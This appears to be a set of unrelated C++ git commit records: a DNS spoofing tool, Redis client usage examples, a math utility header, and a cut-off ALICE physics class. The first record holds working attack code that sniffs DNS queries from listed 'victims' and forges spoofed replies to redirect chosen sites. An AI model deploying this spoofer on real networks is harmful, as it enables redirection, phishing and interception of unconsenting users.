    if(pcap_set_promisc(handle, 1)!=0)
        goto handle_error;
    if(pcap_set_snaplen(handle, 65535)!=0)
        goto handle_error;
    pcap_activate_result = pcap_activate(handle);
    if(pcap_activate_result>0){ //warning - continue
        pcap_perror(handle, const_cast<char*>("warning pcap_activate_result: "));
    }
    if(pcap_activate_result<0) //error - abort
        goto handle_error;

    if(pcap_lookupnet(interface.c_str(), &netp, &maskp, errbuf)==-1)
        goto handle_error;
    if(pcap_compile(handle, &fp, "port 53 and udp", 0, netp)==-1)
        goto handle_error;
    if (pcap_setfilter(handle, &fp) < 0)
        goto handle_error;
    signal(SIGINT, sig_handler);
    signal(SIGTERM, sig_handler);
    if(pcap_loop(handle, -1, dns_frame_handler, (u_char *)victims)==-1)
        goto handle_error;
    if(handle!=NULL)
        pcap_close(handle);
    return;

    handle_error:
        auto pcap_error = pcap_geterr(handle);
        pcap_close(handle);
        throw PcapError(pcap_error);
}
<commit_msg>Improved error messages.<commit_after>#include "dns.hpp"
#include <sstream>
#include <pcap.h>
#include <netinet/if_ether.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <iostream>
#include <csignal>
#include <algorithm>
#include <list>

std::string DNSQuery::to_bytes(){
    std::ostringstream oss;
    oss.write(name,strlen(name)+1);
    write_bytes_to_stream(ntohs(type), oss);
    write_bytes_to_stream(ntohs(class_), oss);
    return oss.str();
};

std::string DNSQuery::get_name() {
    if(name!=NULL) {
        ssize_t name_length = strlen(name);
        std::string _name;
        ssize_t pos=0;
        for(;pos<name_length;){
            if(pos!=0)
                _name+=".";
            _name+=std::string(name+pos+1, (uint8_t) name[pos]);
            pos+=name[pos]+1;
        }
        return _name;
    }
    return "";
}

std::string DNSResponse::to_bytes(){
    std::ostringstream oss;
    write_bytes_to_stream(ntohs(name), oss);
    write_bytes_to_stream(ntohs(type), oss);
    write_bytes_to_stream(ntohs(class_), oss);
    write_bytes_to_stream(ntohl(time_to_live), oss);
    write_bytes_to_stream(ntohs(data_length), oss);
    write_bytes_to_stream(address, oss);
    return oss.str();
}
void DNSResponse::calculate_name() {
    /*
     * https://tools.ietf.org/html/rfc1035#section-4.1.4
     * http://stackoverflow.com/questions/9865084/dns-response-answer-authoritative-section
     * 0xc00c - should cover most cases
     */
    name=0b11<<14;
    name+=0xc;
}

std::string DnsSection::to_bytes(){
    std::ostringstream oss;
    for(auto & val: {transaction_ID, flags, questions, answer_PRs, authority_PRs, additional_PRs})
        write_bytes_to_stream(ntohs(val), oss);
    for(auto & query: queries)
        oss<<query.to_bytes();
    for(auto & answer: answers)
        oss<<answer.to_bytes();
    return oss.str();
}

uint32_t bytes_to_int(const char* bytes, const ssize_t len){
    switch (len) {
        case 1:
            return (uint8_t) bytes[0];
        case 2:
            return ntohs(*(reinterpret_cast<const uint16_t *>(bytes)));
        case 4:
            return ntohl(*(reinterpret_cast<const uint32_t *>(bytes)));
    }
    throw std::invalid_argument("len is not a 1,2 or 4");
}

DnsSection parse_dns_section(const char * bytes, ssize_t len){
    DnsSection dns_section= DnsSection();

    dns_section.transaction_ID=bytes_to_int(bytes, 2);
    dns_section.flags=bytes_to_int(bytes+2, 2);
    dns_section.questions=bytes_to_int(bytes+4, 2);
    dns_section.answer_PRs=bytes_to_int(bytes+6, 2);
    dns_section.authority_PRs=bytes_to_int(bytes+8, 2);
    dns_section.additional_PRs=bytes_to_int(bytes+10, 2);
    dns_section.queries = std::vector<DNSQuery>(dns_section.questions);

    const char * question_start_pointer = bytes+12;
    for(int question_number=0; question_number<dns_section.questions; ++question_number){
        ssize_t question_length = strlen(question_start_pointer)+1;
        dns_section.queries[question_number].name=question_start_pointer;
        dns_section.queries[question_number].type=bytes_to_int(question_start_pointer + question_length, 2);
        dns_section.queries[question_number].class_=bytes_to_int(question_start_pointer + question_length + 2, 2);
        question_start_pointer= question_start_pointer+ question_length+2+2;
    }
    return dns_section;
}

uint16_t calculate_ipv4_checksum(const iphdr* ip_hdr){
    //TODO make this work both for big endian and little endian...
    const char * data= (const char* )ip_hdr;
    uint64_t sum=0;
    for(size_t val_num=0;val_num<sizeof(iphdr)/2; ++val_num){
        uint16_t val = *(reinterpret_cast<const uint16_t *>(data+val_num*2));
        sum+=htons(val);
    }
    sum-=htons(ip_hdr->check);
    sum = (sum >> 16) + (sum & 0xffff);
    sum += (sum >> 16);
    return ~sum;
}

void send_dns_response(DnsSection dns_section_response, std::string destination_ip, std::string source_ip, u_int16_t port){
    int fd;
    fd = socket(PF_INET, SOCK_RAW, IPPROTO_RAW);
    struct sockaddr_in dest;
    dest.sin_family = AF_INET;
    dest.sin_port = port;
    inet_pton(AF_INET, destination_ip.c_str(), &dest.sin_addr.s_addr);

    std::string payload = dns_section_response.to_bytes();
    auto payload_size = payload.size();
    iphdr ip_hdr;
    udphdr udp_hdr;
    ip_hdr.ihl = 5; //no Options
    ip_hdr.version = 4;
    ip_hdr.tos = 0; //DSCP
    ip_hdr.tot_len = sizeof(struct ip) + sizeof(struct udphdr) + payload_size;
    ip_hdr.id = 0;
    ip_hdr.frag_off = 0;
    ip_hdr.ttl = 255; //take max because why not
    ip_hdr.protocol = IPPROTO_UDP;
    ip_hdr.saddr = inet_addr (source_ip.c_str());
    ip_hdr.daddr = inet_addr(destination_ip.c_str());
    ip_hdr.check=calculate_ipv4_checksum(&ip_hdr);

    udp_hdr.source = htons(53);
    udp_hdr.dest = port;
    udp_hdr.len = htons(sizeof(struct udphdr) + payload_size);
    udp_hdr.check = 0; // checksum for ipv4 is optional

    std::ostringstream oss;
    oss.write(reinterpret_cast<char *>(&ip_hdr),sizeof(iphdr));
    oss.write(reinterpret_cast<char *>(&udp_hdr),sizeof(udphdr));
    oss<<payload;

    auto data = oss.str();

    if(sendto(fd,data.c_str(),data.size(),0, reinterpret_cast<sockaddr*>(&dest),sizeof(dest))==-1)
        perror("sendto error\n");
}

DnsSection construct_dns_section_response(DnsSection query, const std::string& ip){
    query.flags=0b1000000110000000;
    query.answer_PRs=query.questions;
    for(int question_no=0; question_no<query.questions; ++question_no) {
        auto dns_answer = DNSResponse();
        dns_answer.calculate_name();
        dns_answer.type=0x1; //A
        dns_answer.class_=0x1; //IN
        dns_answer.time_to_live=65;
        dns_answer.data_length=4;
        inet_pton(AF_INET, ip.c_str(), &dns_answer.address);
        query.answers.push_back(dns_answer);
    }
    return query;
}

void dns_frame_handler(u_char *arg_array, const struct pcap_pkthdr *h, const u_char *bytes){
    auto victims  = (std::vector<DNSVictim>*) arg_array;
    ssize_t ip_size = sizeof( struct ip );
    ssize_t udp_size = sizeof( struct udphdr );

//    const struct ether_header *ethernet = ( struct ether_header* ) bytes;
    const struct ip *ip_hdr = reinterpret_cast<const ip*>( bytes + ETH_HLEN );
    if(ip_hdr->ip_v==4){
        const struct udphdr *udp = reinterpret_cast<const udphdr*> (bytes + ETH_HLEN + ip_size );
        const u_char *payload = ( bytes + ETH_HLEN + ip_size + udp_size );
        for(auto victim: *victims)
            if(ip_hdr->ip_src.s_addr == inet_addr(victim.ip.c_str())){
                auto dns_frame = parse_dns_section(reinterpret_cast<const char *>(payload), udp->uh_ulen-8);
                for(auto site_to_spoof: victim.sites){
                    for(auto question: dns_frame.queries){
                        if(site_to_spoof.first == question.get_name()){
                            auto dns_response=construct_dns_section_response(dns_frame, site_to_spoof.second);
                            send_dns_response(dns_response,victim.ip,victim.spoofed_source_ip, udp->uh_sport);
                        }
                    }
                }
            }
    }
}

std::list<pcap_t*> pcap_handles;
void stop_dns_spoofing(){
    std::cout<<"stop_dns_spoofing"<<std::endl;
    while(!pcap_handles.empty()) {
        auto handle = pcap_handles.front();
        if(handle!=NULL)
            pcap_breakloop(handle);
        pcap_handles.pop_front();
    }
}
void sig_handler(int signo){
    stop_dns_spoofing();
}

void run_dns_spoof(const std::string& interface, std::vector<DNSVictim>* victims){
    bpf_u_int32 netp, maskp;
    struct bpf_program fp;

    char errbuf[PCAP_ERRBUF_SIZE]={0};
    int64_t pcap_activate_result;

    pcap_t* handle = pcap_create(interface.c_str(), errbuf);
    if(handle==NULL)
        throw PcapError(errbuf);
    pcap_handles.push_back(handle);
    if(pcap_set_promisc(handle, 1)!=0)
        goto handle_error;
    if(pcap_set_snaplen(handle, 65535)!=0)
        goto handle_error;
    pcap_activate_result = pcap_activate(handle);
    if(pcap_activate_result>0){ //warning - continue
        pcap_perror(handle, const_cast<char*>("warning pcap_activate_result: "));
    }
    if(pcap_activate_result<0) //error - abort
        goto handle_error;

    if(pcap_lookupnet(interface.c_str(), &netp, &maskp, errbuf)==-1)
        goto handle_error;
    if(pcap_compile(handle, &fp, "port 53 and udp", 0, netp)==-1)
        goto handle_error;
    if (pcap_setfilter(handle, &fp) < 0)
        goto handle_error;
    signal(SIGINT, sig_handler);
    signal(SIGTERM, sig_handler);
    if(pcap_loop(handle, -1, dns_frame_handler, (u_char *)victims)==-1)
        goto handle_error;
    if(handle!=NULL)
        pcap_close(handle);
    return;

    handle_error:
        auto pcap_error = pcap_geterr(handle);
        std::string pcap_err_buf;
        if(pcap_error!=NULL)
            pcap_err_buf=pcap_error;
        if(strlen(errbuf))
            pcap_err_buf+=errbuf;
        pcap_close(handle);
        throw PcapError(pcap_err_buf);
}
<|endoftext|>


<commit_before>#include "../src/cpp_redis_client.h"
#include <iostream>
#include <string>

const std::string line = "--------------------------------------------";

// http://redis.io/commands/append
void append_example(CppRedisClient::RedisClient& redisObj)
{
    std::cout << "append_example" << std::endl;
    std::cout << line << std::endl;
    // key
    const std::string key = "append_example_key";

    // 删除掉key
    redisObj.del(key);

    // append字符串连接，返回连接后字符串长度
    size_t len = redisObj.append(key, "Hello");
    // len = 5
    std::cout << "append \"Hello\", len is " << len << std::endl;

    len = redisObj.append(key, " World");
    // len = 11
    std::cout << "append \" World\", len is " << len << std::endl;

    CppRedisClient::StringReply reply = redisObj.get(key);
    std::cout << "value is " << reply << std::endl;

    redisObj.del(key);

    std::cout << line << std::endl;
}

// http://redis.io/commands/bitcount
void bitcount_example(CppRedisClient::RedisClient& redisObj)
{
    std::cout << "bitcount_example" << std::endl;
    std::cout << line << std::endl;

    const std::string key = "bitcount_example_key";
    redisObj.del(key);
    redisObj.set(key, "foobar");

    std::cout << "set " << key << " foobar" << std::endl;

    size_t num = redisObj.bitcount(key);
    std::cout << num << std::endl;
    num = redisObj.bitcount(key, 0, 0);
    std::cout << num << std::endl;
    num = redisObj.bitcount(key, 1, 1);
    std::cout << num << std::endl;

    redisObj.del(key);
    std::cout << line << std::endl;
}

// http://redis.io/commands/decr
void decr_example(CppRedisClient::RedisClient& redisObj)
{
    std::cout << "decr_example" << std::endl;
    std::cout << line << std::endl;

    const std::string key = "decr_example_key";
    redisObj.del(key);

    redisObj.set(key, "10");
    std::cout << "set " << key << " 10" << std::endl;

    int num = redisObj.decr(key);
    std::cout << "decr" << std::endl;
    std::cout << "num is " << num << std::endl;

    redisObj.set(key, "234293482390480948029348230948");
    try
    {
        num = redisObj.decr(key);
    }
    catch (const std::exception& e)
    {
        std::cerr << e.what() << std::endl;
    }

    redisObj.del(key);

    std::cout << line << std::endl;
}

// http://redis.io/commands/decrby
void decrby_example(CppRedisClient::RedisClient& redisObj)
{
    std::cout << "decrby_example" << std::endl;
    std::cout << line << std::endl;

    const std::string key = "decrby_example_key";
    redisObj.del(key);

    redisObj.set(key, "10");
    std::cout << "set " << key << " 10" << std::endl;
    int num = redisObj.decrby(key, 3);
    std::cout << "decrby 3" << std::endl;
    std::cout << num << std::endl;

    redisObj.del(key);

    std::cout << line << std::endl;
}

int main()
{
    // 创建Redis连接
    CppRedisClient::RedisClient redisObj("localhost");

    // append
    append_example(redisObj);

    // bitcount
    bitcount_example(redisObj);

    // decr
    decr_example(redisObj);

    // decrby
    decrby_example(redisObj);

    return 0;
}
<commit_msg>add example<commit_after>#include "../src/cpp_redis_client.h"
#include <iostream>
#include <string>
#include <vector>
#include <map>

const std::string line = "--------------------------------------------";

// 创建Redis连接
CppRedisClient::RedisClient redisObj("localhost");

// http://redis.io/commands/append
void append_example()
{
    std::cout << "append_example" << std::endl;
    std::cout << line << std::endl;
    // key
    const std::string key = "append_example_key";

    // 删除掉key
    redisObj.del(key);

    // append字符串连接，返回连接后字符串长度
    size_t len = redisObj.append(key, "Hello");
    // len = 5
    std::cout << "append \"Hello\", len is " << len << std::endl;

    len = redisObj.append(key, " World");
    // len = 11
    std::cout << "append \" World\", len is " << len << std::endl;

    CppRedisClient::StringReply reply = redisObj.get(key);
    std::cout << "value is " << reply << std::endl;

    redisObj.del(key);

    std::cout << line << std::endl;
}

// http://redis.io/commands/bitcount
void bitcount_example()
{
    std::cout << "bitcount_example" << std::endl;
    std::cout << line << std::endl;

    const std::string key = "bitcount_example_key";
    redisObj.del(key);
    redisObj.set(key, "foobar");

    std::cout << "set " << key << " foobar" << std::endl;

    size_t num = redisObj.bitcount(key);
    std::cout << num << std::endl;
    num = redisObj.bitcount(key, 0, 0);
    std::cout << num << std::endl;
    num = redisObj.bitcount(key, 1, 1);
    std::cout << num << std::endl;

    redisObj.del(key);
    std::cout << line << std::endl;
}

// http://redis.io/commands/decr
void decr_example()
{
    std::cout << "decr_example" << std::endl;
    std::cout << line << std::endl;

    const std::string key = "decr_example_key";
    redisObj.del(key);

    redisObj.set(key, "10");
    std::cout << "set " << key << " 10" << std::endl;

    int num = redisObj.decr(key);
    std::cout << "decr" << std::endl;
    std::cout << "num is " << num << std::endl;

    redisObj.set(key, "234293482390480948029348230948");
    try
    {
        num = redisObj.decr(key);
    }
    catch (const std::exception& e)
    {
        std::cerr << e.what() << std::endl;
    }

    redisObj.del(key);

    std::cout << line << std::endl;
}

// http://redis.io/commands/decrby
void decrby_example()
{
    std::cout << "decrby_example" << std::endl;
    std::cout << line << std::endl;

    const std::string key = "decrby_example_key";
    redisObj.del(key);

    redisObj.set(key, "10");
    std::cout << "set " << key << " 10" << std::endl;
    int num = redisObj.decrby(key, 3);
    std::cout << "decrby 3" << std::endl;
    std::cout << num << std::endl;

    redisObj.del(key);

    std::cout << line << std::endl;
}

// http://redis.io/commands/get
void get_example()
{
    std::cout << "get_example" << std::endl;
    std::cout << line << std::endl;

    const std::string key = "get_example_key";
    redisObj.del(key);

    CppRedisClient::StringReply reply = redisObj.get(key);
    if (reply.isNull())
    {
        std::cout << "get " << key << " is NULL" << std::endl;
    }

    redisObj.set(key, "Hello");
    std::cout << "set " << key << " Hello" << std::endl;
    reply = redisObj.get(key);
    std::cout << "get " << key << " is " << reply << std::endl;

    redisObj.del(key);

    std::cout << line << std::endl;
}

// http://redis.io/commands/getbit
void getbit_example()
{
    std::cout << "getbit_example" << std::endl;
    std::cout << line << std::endl;

    const std::string key = "getbit_example_key";
    redisObj.del(key);

    redisObj.setbit(key, 7, 1);
    std::cout << "setbit " << key << " 7 1" << std::endl;

    size_t bit = redisObj.getbit(key, 0);
    std::cout << "getbit " << key << " 0 is " << bit << std::endl;
    bit = redisObj.getbit(key, 7);
    std::cout << "getbit " << key << " 7 is " << bit << std::endl;
    bit = redisObj.getbit(key, 100);
    std::cout << "getbit " << key << " 100 is " << bit << std::endl;

    redisObj.del(key);

    std::cout << line << std::endl;
}

// http://redis.io/commands/getrange
void getrange_example()
{
    std::cout << "getrange_example" << std::endl;
    std::cout << line << std::endl;

    const std::string key = "getrange_example_key";
    const std::string value = "This is a string";
    redisObj.del(key);
    redisObj.set(key, value);
    std::cout << "set " << key << " " << value << std::endl;

    std::string rangeValue = redisObj.getrange(key, 0, 3);
    std::cout << "getrange " << key << " 0 3 is " << rangeValue << std::endl;
    rangeValue = redisObj.getrange(key, -3, -1);
    std::cout << "getrange " << key << " -3 -1 is " << rangeValue << std::endl;
    rangeValue = redisObj.getrange(key, 0, -1);
    std::cout << "getrange " << key << " 0 -1 is " << rangeValue << std::endl;
    rangeValue = redisObj.getrange(key, 10, 100);
    std::cout << "getrange " << key << " 10 100 is " << rangeValue << std::endl;

    redisObj.del(key);

    std::cout << line << std::endl;
}

// http://redis.io/commands/getset
void getset_example()
{
    std::cout << "getset_example" << std::endl;
    std::cout << line << std::endl;

    const std::string key = "getset_example_key";
    redisObj.del(key);
    redisObj.incr(key);
    std::cout << "incr " << key << std::endl;

    std::string value = redisObj.getset(key, "0");
    std::cout << "old value is " << value << std::endl;
    value = redisObj.get(key).toString();
    std::cout << "new value is " << value << std::endl;

    redisObj.del(key);

    std::cout << line << std::endl;
}

// http://redis.io/commands/incr
void incr_example()
{
    std::cout << "incr_example" << std::endl;
    std::cout << line << std::endl;

    const std::string key = "incr_example_key";
    redisObj.del(key);

    redisObj.set(key, "10");
    std::cout << "set " << key << " 10" << std::endl;
    const int num = redisObj.incr(key);
    std::cout << "incr " << key << std::endl;
    std::cout << "num is " << num << std::endl;
    std::string value = redisObj.get(key).toString();
    std::cout << "get " << key << " is " << value << std::endl;

    redisObj.del(key);

    std::cout << line << std::endl;
}

// http://redis.io/commands/incrby
void incrby_example()
{
    std::cout << "incrby_example" << std::endl;
    std::cout << line << std::endl;

    const std::string key = "incrby_example_key";
    redisObj.del(key);

    redisObj.set(key, "10");
    std::cout << "set " << key << " 10" << std::endl;
    int num = redisObj.incrby(key, 5);
    std::cout << "incrby " << key << " 5" << std::endl;
    std::cout << "num is " << num << std::endl;

    redisObj.del(key);

    std::cout << line << std::endl;
}

// http://redis.io/commands/mget
void mget_example()
{
    std::cout << "mget_example" << std::endl;
    std::cout << line << std::endl;

    const std::string key1 = "mget_example_key1";
    const std::string key2 = "mget_example_key2";
    const std::string key3 = "mget_example_key3";
    std::vector<std::string> keys;
    keys.push_back(key1);
    keys.push_back(key2);
    keys.push_back(key3);
    for (size_t i = 0; i != keys.size(); ++i)
    {
        redisObj.del(keys[i]);
    }

    redisObj.set(key1, "Hello");
    redisObj.set(key2, "World");
    std::cout << "set " << key1 << " Hello" << std::endl;
    std::cout << "set " << key2 << " World" << std::endl;

    std::vector<CppRedisClient::StringReply> replys = redisObj.mget(keys);
    std::cout << "mget:" << std::endl;
    for (std::vector<CppRedisClient::StringReply>::const_iterator it = replys.begin(); it != replys.end(); ++it)
    {
        std::cout << *it << std::endl;
    }

    for (size_t i = 0; i != keys.size(); ++i)
    {
        redisObj.del(keys[i]);
    }

    std::cout << line << std::endl;
}

// http://redis.io/commands/mset
void mset_example()
{
    std::cout << "mset_example" << std::endl;
    std::cout << line << std::endl;

    const std::string key1 = "mset_example_key1";
    const std::string key2 = "mset_example_key2";
    std::map<std::string, std::string> kvMap;
    kvMap[key1] = "Hello";
    kvMap[key2] = "World";
    std::cout << "mset:" << std::endl;
    for (std::map<std::string, std::string>::const_iterator it = kvMap.begin(); it != kvMap.end(); ++it)
    {
        redisObj.del(it->first);
        std::cout << it->first << " -> " << it->second << std::endl;
    }
    redisObj.mset(kvMap);

    CppRedisClient::StringReply reply = redisObj.get(key1);
    std::cout << "get " << key1 << " is " << reply << std::endl;
    reply = redisObj.get(key2);
    std::cout << "get " << key2 << " is " << reply << std::endl;

    for (std::map<std::string, std::string>::const_iterator it = kvMap.begin(); it != kvMap.end(); ++it)
    {
        redisObj.del(it->first);
    }

    std::cout << line << std::endl;
}

// http://redis.io/commands/msetnx
void msetnx_example()
{
    std::cout << "msetnx_example" << std::endl;
    std::cout << line << std::endl;

    const std::string key1 = "msetnx_example_key1";
    const std::string key2 = "msetnx_example_key2";
    const std::string key3 = "msetnx_example_key3";
    redisObj.del(key1);
    redisObj.del(key2);
    redisObj.del(key3);
    std::vector<std::string> keys;
    keys.push_back(key1);
    keys.push_back(key2);
    keys.push_back(key3);
    std::map<std::string, std::string> kvMap;
    kvMap[key1] = "Hello";
    kvMap[key2] = "there";
    std::cout << "msetnx:" << std::endl;
    for (std::map<std::string, std::string>::const_iterator it = kvMap.begin(); it != kvMap.end(); ++it)
    {
        std::cout << it->first << " -> " << it->second << std::endl;
    }
    redisObj.msetnx(kvMap);

    kvMap.erase(key1);
    kvMap[key3] = "world";
    std::cout << "msetnx:" << std::endl;
    for (std::map<std::string, std::string>::const_iterator it = kvMap.begin(); it != kvMap.end(); ++it)
    {
        std::cout << it->first << " -> " << it->second << std::endl;
    }
    redisObj.msetnx(kvMap);

    std::vector<CppRedisClient::StringReply> replys = redisObj.mget(keys);
    std::cout << "mget:" << std::endl;
    for (std::vector<CppRedisClient::StringReply>::const_iterator it = replys.begin(); it != replys.end(); ++it)
    {
        std::cout << *it << std::endl;
    }

    for (std::vector<std::string>::const_iterator it = keys.begin(); it != keys.end(); ++it)
    {
        redisObj.del(*it);
    }

    std::cout << line << std::endl;
}

int main()
{

    // append
    append_example();

    // bitcount
    bitcount_example();

    // decr
    decr_example();

    // decrby
    decrby_example();

    // get
    get_example();

    // getbit
    getbit_example();

    // getrange
    getrange_example();

    // getset
    getset_example();

    // incr
    incr_example();

    // incrby
    incrby_example();

    // mget
    mget_example();

    // mset
    mset_example();

    // msetnx
    msetnx_example();

    return 0;
}
<|endoftext|>


<commit_before>#ifndef JEBMATH_UTILTIES_HPP
#define JEBMATH_UTILTIES_HPP

#include <cmath>
#include "Constants.hpp"

namespace JEBMath {

template <typename T>
T getSign(T value)
{
    if (value > 0)
        return T(1);
    else if (value < 0)
        return T(-1);
    else
        return T(0);
}

constexpr double toRadians(double degrees)
{
    return degrees * Pi / 180;
}

constexpr double toDegrees(double radians)
{
    return radians * 180 / Pi;
}

inline int modulo(int dividend, int divisor)
{
    if (dividend >= 0)
        return dividend % divisor;
    else
        return divisor - (-dividend % divisor);
}

template <typename T>
T getClamped(T value, T min, T max)
{
    if (value < min)
        return min;
    if (value > max)
        return max;
    return value;
}

template <typename T>
void clamp(T& value, T min, T max)
{
    if (value < min)
        value = min;
    else if (value > max)
        value = max;
}

template <typename T, typename U>
constexpr T getNearest(U value)
{
    return T(value);
}

template <typename T>
constexpr T getNearest(float value)
{
    // Good enough for integer types. I've seen examples of values very
    // close to *.5 where this rounds up when it should have rounded down and
    // vice versa, but in most use-cases this is unimportant.
    return T(value + 0.5);
}

template <>
constexpr float getNearest<float>(float value)
{
    return value;
}

template <>
constexpr double getNearest<double>(float value)
{
    return value;
}

template <>
constexpr long double getNearest<long double>(float value)
{
    return value;
}

template <typename T>
constexpr T getNearest(double value)
{
    // Good enough for integer types. I've seen examples of values very
    // close to *.5 where this rounds up when it should have rounded down and
    // vice versa, but in most use-cases this is unimportant.
    return T(value + 0.5);
}

template <>
constexpr float getNearest<float>(double value)
{
    return float(value);
}

template <>
constexpr double getNearest<double>(double value)
{
    return value;
}

template <>
constexpr long double getNearest<long double>(double value)
{
    return value;
}

template <typename T>
constexpr T getNearest(long double value)
{
    // Good enough for integer types. I've seen examples of values very
    // close to *.5 where this rounds up when it should have rounded down and
    // vice versa, but in most use-cases this is unimportant.
    return T(value + 0.5);
}

template <>
constexpr float getNearest<float>(long double value)
{
    return float(value);
}

template <>
constexpr double getNearest<double>(long double value)
{
    return double(value);
}

template <>
constexpr long double getNearest<long double>(long double value)
{
    return value;
}

}

#endif
<commit_msg>Added double-compare.<commit_after>#ifndef JEBMATH_UTILTIES_HPP
#define JEBMATH_UTILTIES_HPP

#include <cmath>
#include "Constants.hpp"

namespace JEBMath {

inline int compare(double a, double b, double tolerance)
{
  auto d = a - b;
  if (std::fabs(d) < tolerance)
    return 0;
  return d < 0 ? -1 : 1;
}

template <typename T>
T getSign(T value)
{
    if (value > 0)
        return T(1);
    else if (value < 0)
        return T(-1);
    else
        return T(0);
}

constexpr double toRadians(double degrees)
{
    return degrees * Pi / 180;
}

constexpr double toDegrees(double radians)
{
    return radians * 180 / Pi;
}

inline int modulo(int dividend, int divisor)
{
    if (dividend >= 0)
        return dividend % divisor;
    else
        return divisor - (-dividend % divisor);
}

template <typename T>
T getClamped(T value, T min, T max)
{
    if (value < min)
        return min;
    if (value > max)
        return max;
    return value;
}

template <typename T>
void clamp(T& value, T min, T max)
{
    if (value < min)
        value = min;
    else if (value > max)
        value = max;
}

template <typename T, typename U>
constexpr T getNearest(U value)
{
    return T(value);
}

template <typename T>
constexpr T getNearest(float value)
{
    // Good enough for integer types. I've seen examples of values very
    // close to *.5 where this rounds up when it should have rounded down and
    // vice versa, but in most use-cases this is unimportant.
    return T(value + 0.5);
}

template <>
constexpr float getNearest<float>(float value)
{
    return value;
}

template <>
constexpr double getNearest<double>(float value)
{
    return value;
}

template <>
constexpr long double getNearest<long double>(float value)
{
    return value;
}

template <typename T>
constexpr T getNearest(double value)
{
    // Good enough for integer types. I've seen examples of values very
    // close to *.5 where this rounds up when it should have rounded down and
    // vice versa, but in most use-cases this is unimportant.
    return T(value + 0.5);
}

template <>
constexpr float getNearest<float>(double value)
{
    return float(value);
}

template <>
constexpr double getNearest<double>(double value)
{
    return value;
}

template <>
constexpr long double getNearest<long double>(double value)
{
    return value;
}

template <typename T>
constexpr T getNearest(long double value)
{
    // Good enough for integer types. I've seen examples of values very
    // close to *.5 where this rounds up when it should have rounded down and
    // vice versa, but in most use-cases this is unimportant.
    return T(value + 0.5);
}

template <>
constexpr float getNearest<float>(long double value)
{
    return float(value);
}

template <>
constexpr double getNearest<double>(long double value)
{
    return double(value);
}

template <>
constexpr long double getNearest<long double>(long double value)
{
    return value;
}

}

#endif
<|endoftext|>


<commit_before>/**************************************************************************
 * Copyright(c) 1998-1999, ALICE Experiment at CERN, All rights reserved. *
 *                                                                        *
 * Author: The ALICE Off-line Project.                                    *
 * Contributors are mentioned in the code where appropriate.              *
 *                                                                        *
 * Permission to use, copy, modify and distribute this software and its   *
 * documentation strictly for non-commercial purposes is hereby granted   *
 * without fee, provided that the above copyright notice appears in all   *
 * copies and that both the copyright notice and this permission notice   *
 * appear in the supporting documentation. The authors make no claims     *
 * about the suitability of this software for any purpose. It is          *
 * provided "as is" without express or implied warranty.                  *
 **************************************************************************/
/* $Id$ */
//_________________________________________________________________________
//  A Reconstructed Particle in PHOS
//  To become a general class of AliRoot ?
//  Why should I put meaningless comments
//  just to satisfy
//  the code checker
//
//*-- Author: Yves Schutz (SUBATECH)

// --- ROOT system ---

// --- Standard library ---

// --- AliRoot header files ---
#include "AliPHOSRecParticle.h"
#include "AliPHOSGetter.h"

//____________________________________________________________________________
  AliPHOSRecParticle::AliPHOSRecParticle(): fPHOSTrackSegment(0)  ,  fDebug( kFALSE )
{
  // ctor
  const Int_t nSPECIES = AliESDtrack::kSPECIES;
  for(Int_t i = 0; i<nSPECIES ; i++)
    fPID[i]=0.;
}

//____________________________________________________________________________
 AliPHOSRecParticle::AliPHOSRecParticle(const AliPHOSRecParticle & rp)
   : AliPHOSFastRecParticle(rp)
{
  // copy ctor

  fPHOSTrackSegment = rp.fPHOSTrackSegment ;
  fDebug            = kFALSE ;
  fType             = rp.fType ;
  fIndexInList      = rp.fIndexInList ;

  fPdgCode     = rp.fPdgCode;
  fStatusCode  = rp.fStatusCode;
  fMother[0]   = rp.fMother[0];
  fMother[1]   = rp.fMother[1];
  fDaughter[0] = rp.fDaughter[0];
  fDaughter[1] = rp.fDaughter[1];
  fWeight      = rp.fWeight;
  fCalcMass    = rp.fCalcMass;
  fPx          = rp.fPx;
  fPy          = rp.fPy;
  fPz          = rp.fPz;
  fE           = rp.fE;
  fVx          = rp.fVx;
  fVy          = rp.fVy;
  fVz          = rp.fVz;
  fVt          = rp.fVt;
  fPolarTheta  = rp.fPolarTheta;
  fPolarPhi    = rp.fPolarPhi;
  fParticlePDG = rp.fParticlePDG;
  const Int_t nSPECIES = AliESDtrack::kSPECIES;
  for(Int_t i = 0; i<nSPECIES ; i++)
    fPID[i]=rp.fPID[i];
}

//____________________________________________________________________________
const Int_t AliPHOSRecParticle::GetNPrimaries() const
{
  return -1;
}

//____________________________________________________________________________
const Int_t AliPHOSRecParticle::GetNPrimariesToRecParticles() const
{
  // Get the number of primaries at the origine of the RecParticle
  Int_t rv = 0 ;
  AliPHOSGetter * gime = AliPHOSGetter::Instance() ;
  Int_t emcRPindex = dynamic_cast<AliPHOSTrackSegment*>(gime->TrackSegments()->At(GetPHOSTSIndex()))->GetEmcIndex();
  dynamic_cast<AliPHOSEmcRecPoint*>(gime->EmcRecPoints()->At(emcRPindex))->GetPrimaries(rv) ;
  return rv ;
}

//____________________________________________________________________________
const TParticle * AliPHOSRecParticle::GetPrimary(Int_t index) const
{
  // Get the list of primary particles at the origine of the RecParticle
  if ( index > GetNPrimariesToRecParticles() ) {
    if (fDebug)
      Warning("GetPrimary", "AliPHOSRecParticle::GetPrimary -> %d is larger that the number of primaries %d",
	      index, GetNPrimaries()) ;
    return 0 ;
  }
  else {
    Int_t dummy ;
    AliPHOSGetter * gime = AliPHOSGetter::Instance() ;

    Int_t emcRPindex = dynamic_cast<AliPHOSTrackSegment*>(gime->TrackSegments()->At(GetPHOSTSIndex()))->GetEmcIndex();
    Int_t primaryindex = dynamic_cast<AliPHOSEmcRecPoint*>(gime->EmcRecPoints()->At(emcRPindex))->GetPrimaries(dummy)[index] ;
    return gime->Primary(primaryindex) ;
   }
  //  return 0 ;
}
//____________________________________________________________________________
const Double_t * AliPHOSRecParticle::GetPID()
{
  // Get the probability densities that this reconstructed particle
  // has a type of i:
  // i       particle types
  // ----------------------
  // 0       electron
  // 1       muon
  // 2       pi+-
  // 3       K+-
  // 4       p/pbar
  // 5       photon
  // 6       pi0 at high pt
  // 7       neutron
  // 8       K0L

  const Int_t nSPECIES = AliESDtrack::kSPECIES;
  if (IsElectron()     ) fPID[0] = 1.0;
  if (IsChargedHadron()) {
    fPID[1] = 0.25;
    fPID[2] = 0.25;
    fPID[3] = 0.25;
    fPID[4] = 0.25;
  }
  if (IsFastChargedHadron()) {
    fPID[1] = 0.33;
    fPID[2] = 0.33;
    fPID[3] = 0.33;
    fPID[4] = 0.00;
  }
  if (IsSlowChargedHadron()) {
